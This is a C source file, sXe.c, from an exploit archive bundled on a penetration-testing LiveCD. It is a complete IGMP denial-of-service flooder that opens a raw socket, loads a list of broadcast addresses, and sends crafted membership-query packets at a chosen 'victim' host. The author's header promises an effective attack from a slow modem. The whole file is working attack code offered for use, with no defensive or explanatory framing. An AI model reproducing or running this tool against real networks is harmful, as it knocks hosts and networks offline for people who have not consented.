home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / sXe.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  357 lines
  1. /*
  2.  *  - Program: sXe.c 
  3.  *  - Purpose: IGMP DoS
  4.  *  - Author: lore <lore@r00tabega.com>
  5.  *  - Compile: cc -o sXe sXe.c
  6.  *  - Date: 15/8/99
  7.  *  - Usage: ./sXe -h
  8.  *
  9.  *  - If you can figure out how to use this, you can create quite an 
  10.  *    effective attack from even a 14kbs modem. 
  11.  *
  12.  */
  13.  
  14. #define __BSD_SOURCE
  15.  
  16. /* Header files */
  17.  
  18. #include <db.h>
  19. #include <netinet/in_systm.h>
  20. #include <errno.h>
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/igmp.h>
  26. #include <arpa/inet.h>
  27. #include <netdb.h>
  28. #include <unistd.h>
  29. #include <string.h>
  30. #include <sys/signal.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33.  
  34. __BEGIN_DECLS
  35.  
  36. /* Definitions */
  37.  
  38. #ifndef IGMP_ALL_HOSTS
  39. #define IGMP_ALL_HOSTS (htonl(0xE0000001L))
  40. #endif
  41.  
  42. #define TRUE  (0x1)
  43. #define FALSE (0x0)
  44. #define ERR   (0xffffffff)
  45.  
  46. #define IP_SIZE        (sizeof(struct ip))
  47. #define IGMP_SIZE      (sizeof(struct igmp))
  48. #define TOTAL_SIZE     (IP_SIZE + IGMP_SIZE)
  49. #define IP_OFF         (0)
  50. #define IGMP_OFF       (IP_SIZE)
  51. #define MAX_BROADCASTS 100
  52.  
  53. /* Data-types */
  54.  
  55. struct broadcast_ele
  56.   {
  57.     u_long ipaddr;
  58.   };
  59.  
  60. typedef int sock_t;
  61.  
  62. /* Global variables */
  63.  
  64. FILE * stream = stderr;
  65. int    count = ERR;
  66. sock_t raw_sock;
  67. struct broadcast_ele bc_table[MAX_BROADCASTS];
  68. char * packet_buf;
  69. char * yes = "1";
  70.  
  71. /* Prototypes */
  72.  
  73. int     main              __P ((int, char * *));
  74. void    usage             __P ((char *));
  75. void    ctrlc             __P ((int));
  76. void    die               __P ((int));
  77. size_t  send_igmp_packet  __P ((u_long, u_long, u_char, u_char));
  78. char *  strip             __P ((u_long));
  79. u_long  res               __P ((char *));
  80. u_short generate_checksum __P ((u_short *, int));
  81.  
  82. __END_DECLS
  83.  
  84. /* Functions */
  85.  
  86. int main (int argc, char * * argv)
  87. {
  88.   FILE * fptr;
  89.   u_int pos = 0;
  90.   u_char type = 0;
  91.   u_char code = 0;
  92.   u_long victim = ERR;
  93.   u_char * ptr = *argv;
  94.   u_char * fname = NULL;
  95.  
  96.   ++argv;
  97.   --argc;
  98.  
  99.   while (argv && *argv)
  100.     {
  101.       if ( (*(*(argv))) == '-' )
  102.         {
  103.           switch ( *(*(argv) + 1) )
  104.             {
  105.             case ('n'):
  106.                 {
  107.                   if ( !(*(argv + 1)) || ((count = atoi(*(argv + 1))) <= 0) )
  108.                     {
  109.                       usage (ptr);
  110.                     }
  111.                   ++argv;
  112.                   break;
  113.                 }
  114.             case ('t'):
  115.                 {
  116.                   if ( !(*(argv + 1)) || ((type = atoi(*(argv + 1))) <= 0) )
  117.                     {
  118.                       usage (ptr);
  119.                     }
  120.                   ++argv;
  121.                   break;
  122.                 }
  123.             case ('c'):
  124.                 {
  125.                   if ( !(*(argv + 1)) || ((code = atoi(*(argv + 1))) <= 0) )
  126.                     {
  127.                       usage (ptr);
  128.                     }
  129.                   ++argv;
  130.                   break;
  131.                 }
  132.             default:
  133.               usage (ptr);
  134.             }
  135.         }
  136.       else if (victim == ERR)
  137.         {
  138.           if ((victim = res(*(argv))) == ERR)
  139.             {
  140.               fprintf(stderr, "> Bad victim: %s\n", *argv);
  141.               exit(EXIT_FAILURE);
  142.             }
  143.         }
  144.       else if (!fname)
  145.         {
  146.           fname = (*(argv));
  147.         }
  148.       else usage (ptr);
  149.       ++argv;
  150.     }
  151.  
  152.   if (victim == ERR || !fname)
  153.     {
  154.       usage(ptr);
  155.     }
  156.  
  157.   if (!(packet_buf = (char *)malloc(TOTAL_SIZE)))
  158.     {
  159.       fprintf(stream, "> Ran out of memory\n");
  160.       exit(EXIT_FAILURE);
  161.     }
  162.  
  163.   for (pos = 0; pos < MAX_BROADCASTS; ++pos)
  164.     {
  165.       ((*(bc_table + pos)).ipaddr) = 0;
  166.     }
  167.   pos = 0;
  168.  
  169.   if (!(fptr = fopen(fname, "r")))
  170.     {
  171.       fprintf(stream, "> Couldn't open %s: %s\n", fname, strerror(errno));
  172.       exit(EXIT_FAILURE);
  173.     }
  174.  
  175.   while ( (!feof(fptr)) && (pos < MAX_BROADCASTS) )
  176.     {
  177.       u_long ipaddr;
  178.       memset(packet_buf, 0, TOTAL_SIZE);
  179.       fgets(packet_buf, TOTAL_SIZE, fptr);
  180.  
  181.       if ( (!*packet_buf) || (*packet_buf == '#') ) continue;
  182.       else if ((ipaddr = inet_addr(packet_buf)) <= 0)
  183.         {
  184.           fprintf(stream, "> Invalid IP: %s\n", packet_buf);
  185.         }
  186.       else
  187.         {
  188.           ((*(bc_table + pos)).ipaddr) = ipaddr;
  189.           ++pos;
  190.         }
  191.     }
  192.  
  193.   if (!pos)
  194.     {
  195.       fprintf(stream, "> Loaded no broadcasts\n");
  196.       exit(EXIT_SUCCESS);
  197.     }
  198.  
  199.   if ((raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
  200.     {
  201.       fprintf(stream, "> Raw socket could not be created: %s\n",
  202.               strerror(errno));
  203.       exit(EXIT_FAILURE);
  204.     }
  205.  
  206.   else if ( (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes,
  207.                         sizeof(yes)) == ERR) ||
  208.             (setsockopt(raw_sock, SOL_SOCKET, SO_BROADCAST, (char *)&yes,
  209.                         sizeof(yes)) == ERR) )
  210.     {
  211.       fprintf(stream, "> Could not set socket opts: %s\n", strerror(errno));
  212.       exit(EXIT_FAILURE);
  213.     }
  214.  
  215.   fprintf(stream,
  216.           "> sXe.c IGMP attack\n");
  217.   fprintf(stream, "> victim: %s\n", strip(victim));
  218.  
  219.   if (count == ERR) fprintf(stream, "> count: Infinite\n");
  220.   else              fprintf(stream, "> count: %d\n", count);
  221.  
  222.   fprintf(stream, "> type: %d\n", (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type);
  223.   fprintf(stream, "> code: %d\n", code);
  224.  
  225.   signal(SIGINT, ctrlc);
  226.  
  227.   fprintf(stream, "> Hit Ctrl-C to abort\n");
  228.  
  229.   pos = 0;
  230.   while (count)
  231.     {
  232.       if ( (pos == MAX_BROADCASTS) || ((*(bc_table + pos)).ipaddr) == 0)
  233.         {
  234.           pos = 0;
  235.           continue;
  236.         }
  237.  
  238.       if ( send_igmp_packet(victim, (*(bc_table + pos)).ipaddr,
  239.                             type, code) == ERR )
  240.         {
  241.           fprintf(stream, "> send_igmp_packet() failed: %s\n",
  242.                   strerror(errno));
  243.           die(EXIT_FAILURE);
  244.         }
  245.  
  246.       if (count != ERR) --count;
  247.       ++pos;
  248.     }
  249.   die(EXIT_SUCCESS);
  250. }
  251.  
  252. void usage (char * pname)
  253. {
  254.   fprintf(stream,
  255.           "Usage: %s <victim> <bc_file> [ -n <number> ] [ -t <type> ]"
  256.           " [ -c <code> ]\n", pname);
  257.  
  258.   exit(EXIT_SUCCESS);
  259. }
  260.  
  261. void ctrlc (int useless)
  262. {
  263.   die (EXIT_SUCCESS);
  264. }
  265.  
  266. void die (int code)
  267. {
  268.   fprintf(stream, "> Flood ended\n");
  269.   shutdown(raw_sock, 2);
  270.   free(packet_buf);
  271.   exit(code);
  272. }
  273.  
  274. size_t send_igmp_packet (u_long from, u_long to, u_char type, u_char code)
  275. {
  276.   int ret;
  277.   struct ip * ip_ptr = (struct ip *)(packet_buf + IP_OFF);
  278.   struct igmp * igmp_ptr = (struct igmp *)(packet_buf + IGMP_OFF);
  279.   struct sockaddr_in sa;
  280.  
  281.   sa.sin_port = htons(0);
  282.   sa.sin_addr.s_addr = to;
  283.   sa.sin_family = AF_INET;
  284.  
  285.   memset(packet_buf, 0, TOTAL_SIZE);
  286.  
  287.   ip_ptr->ip_hl  = 5;
  288.   ip_ptr->ip_v   = 4;
  289.   ip_ptr->ip_tos = 0;
  290.   ip_ptr->ip_len = TOTAL_SIZE;
  291.   ip_ptr->ip_id  = 0;
  292.   ip_ptr->ip_off = 0;
  293.   ip_ptr->ip_ttl = 255;
  294.   ip_ptr->ip_p   = IPPROTO_IGMP;
  295.   ip_ptr->ip_sum = generate_checksum((u_short *)ip_ptr, IP_SIZE);
  296.   /* ip_ptr->ip_src.s_addr = from; */
  297.   ip_ptr->ip_src.s_addr = INADDR_ANY;
  298.   ip_ptr->ip_dst.s_addr = to;
  299.  
  300.   igmp_ptr->igmp_type  = (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type;
  301.   igmp_ptr->igmp_code  = code;
  302.   igmp_ptr->igmp_cksum = generate_checksum((u_short *)igmp_ptr, IGMP_SIZE);
  303.   igmp_ptr->igmp_group.s_addr = IGMP_ALL_HOSTS;
  304.  
  305.   ret = sendto(raw_sock, packet_buf, TOTAL_SIZE, 0,
  306.                (struct sockaddr *)&sa, sizeof(sa));
  307.  
  308.   return (ret);
  309. }
  310.  
  311. char * strip (u_long ipaddr)
  312. {
  313.   struct in_addr addr;
  314.   addr.s_addr = ipaddr;
  315.   return (inet_ntoa(addr));
  316. }
  317.  
  318. u_long res (char * host)
  319. {
  320.   u_long ipaddr;
  321.   struct hostent * hp;
  322.  
  323.   if ((ipaddr = inet_addr(host)) == ERR)
  324.     {
  325.       if (!(hp = gethostbyname(host))) return (FALSE);
  326.       memcpy(&ipaddr, hp->h_addr, hp->h_length);
  327.     }
  328.   return (ipaddr);
  329. }
  330.  
  331. /* Not my code */
  332.  
  333. u_short generate_checksum (u_short *addr, int len)
  334. {
  335.   register int nleft = len;
  336.   register int sum = 0;
  337.   u_short answer = 0;
  338.  
  339.   while (nleft > 1)
  340.     {
  341.       sum += *addr++;
  342.       nleft -= 2;
  343.     }
  344.  
  345.   if (nleft == 1)
  346.     {
  347.       *(u_char *)(&answer) = *(u_char *)addr;
  348.       sum += answer;
  349.     }
  350.  
  351.   sum = (sum >> 16) + (sum + 0xffff);
  352.   sum += (sum >> 16);
  353.   answer = ~sum;
  354.   return(answer);
  355. }
  356. /*                    www.hack.co.za              [2000]*/
  357.